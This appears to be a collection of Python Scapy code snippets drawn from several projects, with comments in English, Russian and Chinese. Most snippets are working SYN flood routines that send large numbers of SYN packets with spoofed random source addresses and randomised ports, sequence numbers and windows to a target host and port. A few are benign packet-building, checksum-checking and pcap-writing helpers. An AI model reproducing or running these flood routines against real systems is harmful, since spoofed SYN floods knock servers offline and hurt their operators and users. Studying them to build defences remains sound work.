def SYN_TCP_Flood(self, dstIP, dstPort, counter): try: total = 0 print("Packets are sending ...") for x in range(0, int(counter)): s_port = random.randint(1000, 9000) s_eq = random.randint(1000, 9000) w_indow = random.randint(1000, 9000) IP_Packet = IP() IP_Packet.src = ".".join( map(str, (random.randint(0, 255) for _ in range(4)))) IP_Packet.dst = dstIP # Created our own TCP packet TCP_Packet = TCP() TCP_Packet.sport = s_port TCP_Packet.dport = int(dstPort) TCP_Packet.flags = "S" TCP_Packet.seq = s_eq TCP_Packet.window = w_indow send(IP_Packet / TCP_Packet, verbose=0) total += 1 print("\nTotal packets sent: %i\n" % total) print() return 1 except: return 0
def cmd_tcpip(ip_src, ip_dst, TOS, ttl, id, reserved, seq_num, window, urg_ptr, flags, payload, src_port): layer3 = IP() layer3.src = ip_src layer3.dst = ip_dst tos_num = int(TOS, 2) print(tos_num) layer3.tos = tos_num layer3.ttl = ttl layer3.ihl = 5 layer3.id = id layer4 = TCP() layer4.dport = 80 layer4.sport = src_port num = int(reserved, 2) binary_num = bin(num) print(binary_num) layer4.reserved = num # layer4.flags = "S" layer4.flags = flags layer4.window = window layer4.urgptr = int(urg_ptr, 2) layer4.seq = seq_num print("1") if not payload: pkt = layer3 / layer4 else: pkt = layer3 / layer4 / payload send(pkt)
def SYN_Flood(t_ip, t_port): print("Пакеты отправляются") global stop_thread stop_thread = True while stop_thread: global packets ip_p = IP() ip_p.src = randomIP() # записываем в поле ip источника случайный ip #ip_p.src = "8.8.8.8" ip_p.dst = t_ip # записываем ip сервера tcp_p = TCP() #tcp_p.sport = 234 tcp_p.sport = randint( 0, 6000) # записываем в поле port источника случайный port tcp_p.dport = t_port # записываем port сервер tcp_p.flags = "S" # устанавливаем флаг SYN tcp_p.seq = randint(0, 9000) # устанавливаем случайный порядковый номер ? tcp_p.window = randint(5000, 8191) # устанавливаем случайное окно ? send(ip_p / tcp_p, verbose=False) # отправляем пакет packets += 1 myapp.ui.packetsCount.setText(str(packets)) # print("Пакет {0} отправлен".format(i + 1)) packets = 0 myapp.ui.packetsCount.setText(str(packets))
def SYN_Flood(targetIP, targetPort, counter): total = 0 # total number of packets sent to the target print "Packets are being sent to the target ..." for x in range(0, counter): s_port = randInt() s_eq = randInt() w_indow = randInt() # randomly generate all of these values (s_port, s_eq, w_indow using randInt() function IP_Packet = IP() IP_Packet.src = randomIP() # randomly generate IP address to be sending packets from IP_Packet.dst = targetIP TCP_Packet = TCP() TCP_Packet.sport = s_port TCP_Packet.dport = targetPort TCP_Packet.flags = "S" TCP_Packet.seq = s_eq TCP_Packet.window = w_indow send(IP_Packet / TCP_Packet, verbose=0) total += 1 sys.stdout.write("\nTotal packets sent to target : %i\n" % total)
def getTCPPacket(self): """ 构造TCP数据包 :return: """ try: ip_packet = IP() ip_packet.version = int(self.entries[8].get()) ip_packet.ihl = int(self.entries[9].get()) ip_packet.tos = int(self.entries[10].get()) ip_packet.id = int(self.entries[11].get()) # ip_packet.flags = int(self.entries[12].get()) ip_packet.frag = int(self.entries[13].get()) ip_packet.ttl = int(self.entries[14].get()) # ip_packet.chksum = self.entries[15].get() ip_packet.src = self.entries[16].get() ip_packet.dst = self.entries[17].get() tcp_packet = TCP() tcp_packet.sport = int(self.entries[0].get()) tcp_packet.dport = int(self.entries[1].get()) tcp_packet.seq = int(self.entries[2].get()) tcp_packet.ack = int(self.entries[3].get()) tcp_packet.dataofs = int(self.entries[4].get()) tcp_packet.flags = int(self.entries[5].get()) tcp_packet.window = int(self.entries[6].get()) # tcp_packet.chksum = self.entries[7].get() # scapy自动计算IP、TCP校验和 # 获得数据包的二进制值 pkg_raw = raw(ip_packet / tcp_packet) tcp_packet_raw = pkg_raw[20:] # 构造数据包,自动计算校验和 scapy_chksum_IP = IP(pkg_raw).chksum scapy_chksum_tcp = TCP(tcp_packet_raw).chksum print("scapy自动计算的TCP校验和为:%04x" % scapy_chksum_tcp) # 手动计算TCP校验和 tcp_packet.chksum = 0 packet = ip_packet / tcp_packet tcp_raw = raw(packet)[20:] self_chksum = in4_chksum(socket.IPPROTO_TCP, packet[IP], tcp_raw) print("手动计算的TCP校验和为:%04x" % self_chksum) if self_chksum == scapy_chksum_tcp: print("TCP验证和正确") else: print("TCP验证和不正确") tcp_packet.chksum = scapy_chksum_tcp self.entries[7].delete(0, END) self.entries[7].insert(0, hex(scapy_chksum_tcp)) self.entries[15].delete(0, END) self.entries[15].insert(0, hex(scapy_chksum_IP)) tcp_packet.show() self.resultText.insert('end', tcp_packet.summary() + '\n') self.resultText.insert('end', str(tcp_packet) + '\n') return Ether() / ip_packet / tcp_packet except Exception as e: print(e.with_traceback()) finally: pass
def sendSYN(target, port): # creating packet # insert IP header fields tcp = TCP() ip = IP() #set source IP ip.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint( 1, 254), random.randint(1, 254), random.randint(1, 254)) ip.dst = target # insert TCP header fields tcp = TCP() #set source port as random valid port tcp.sport = random.randint(1, 65535) tcp.dport = port #set SYN flag tcp.flags = 'S' send(ip / tcp) return
def sendSingleSyn(self, host, port, source_port): """ Send a single SYN packet to the given host :param host: :param port: :param source_port: :return: True, if a SYN-ACK was received """ LOGGER.debug("sending SYN packet to {}:{} from port {}". format(host, port, source_port)) i = IP() i.dst = host t = TCP() t.sport = source_port t.dport = port t.flags = 'S' p = sr1(i / t, timeout=2) # wait for max 2 seconds return p is not None
def SYN_Flood(dstIP, dstPort, counter): total = 0 avg_time = 0 print("Packets are sending ...") attack_begin = time.process_time() for x in range(0, counter): s_port = randInt() s_eq = randInt() w_indow = randInt() IP_Packet = IP() IP_Packet.src = randomIP() IP_Packet.dst = dstIP TCP_Packet = TCP() TCP_Packet.sport = s_port TCP_Packet.dport = dstPort TCP_Packet.flags = "S" TCP_Packet.seq = s_eq TCP_Packet.window = w_indow start = time.process_time() send(IP_Packet / TCP_Packet, verbose=0) time_per_packet = (time.process_time() - start) # Write it in a file with open('syns_results_p.txt', 'a') as f: f.write(f'{x}, {time_per_packet}\n') avg_time = avg_time+ time_per_packet total += 1 attack_time = time.process_time() - attack_begin avg_time = avg_time/total with open('syns_results_p.txt', 'a') as f: f.write(f'\nTotal time - {attack_time}') f.write(f'\nAverage time - {avg_time}') now = datetime.now() current_time = now.strftime("%H:%M:%S") f.write(f'\nFinishing time: {current_time}') print(f"\nTotal packets sent: {total}\n")
def run(self): # There are two different ways you can go about pulling this off. # You can either: # - 1. Just open a socket to your target on any old port # - 2. Or you can be a cool kid and use scapy to make it look cool, and overcomplicated! # # (Uncomment whichever method you'd like to use) # Method 1 - s = socket.socket() s.connect((target, port)) # Methods 2 - i = IP() i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint( 1, 254), random.randint(1, 254), random.randint(1, 254)) i.dst = target t = TCP() t.sport = random.randint(1, 65535) t.dport = port t.flags = 'S' send(i / t, verbose=0)
def SYN_Flood(dstIP, dstPort): total = 0 print("Packets are sending ...") for x in range(0, 1000000): s_port = randInt() s_eq = randInt() w_indow = randInt() IP_Packet = IP() IP_Packet.src = randomIP() IP_Packet.dst = dstIP TCP_Packet = TCP() TCP_Packet.sport = s_port TCP_Packet.dport = dstPort TCP_Packet.flags = "S" TCP_Packet.seq = s_eq TCP_Packet.window = w_indow send(IP_Packet / TCP_Packet, verbose=0) print('one was sent') total += 1 sys.stdout.write("\nTotal packets sent: %i\n" % total)
from scapy.all import * from scapy.layers.inet import IP, TCP from scapy.layers.l2 import * ip1 = IP() ip1.src = "223.129.0.189" ip1.dst = "223.129.0.190" tcp1 = TCP() tcp1.sport = 80 tcp1.dport = 81 packet1 = Ether() / ip1 / tcp1 packet1.show() hexdump(packet1) name1 = "tcp-opposite-five-tuple-1" wrpcap("src/scapy/" + name1 + ".pcap", packet1) ip2 = IP() ip2.src = "223.129.0.190" ip2.dst = "223.129.0.189" tcp2 = TCP() tcp2.sport = 81 tcp2.dport = 80 packet2 = Ether() / ip2 / tcp2 packet2.show() hexdump(packet2) name2 = "tcp-opposite-five-tuple-2" wrpcap("src/scapy/" + name2 + ".pcap", packet2)
#!/usr/bin/env python3 from scapy.all import * from scapy.layers.inet import TCP, IP """ Send TCP packet with destination port 23. """ a = IP(dst="128.230.0.5") b = TCP() b.dport = 23 send(a/b)